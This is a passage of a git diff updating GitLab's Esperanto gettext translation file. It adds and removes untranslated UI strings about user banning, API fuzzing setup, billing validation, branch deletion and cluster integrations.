+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/eo/gitlab.po b/locale/eo/gitlab.po
index cd8e0edb70b..388e82744fa 100644
--- a/locale/eo/gitlab.po
+++ b/locale/eo/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: eo\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:13\n"
+"PO-Revision-Date: 2021-06-01 20:25\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr "Enmeti"
msgid "CommitMessage|Add %{file_name}"
msgstr "Aldoni „%{file_name}“"
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr "Kreu propran atingoĵetonon en via konto por ebligi al vi eltiri kaj alpuÅi per %{protocol}."
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr "Krei novan…"
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
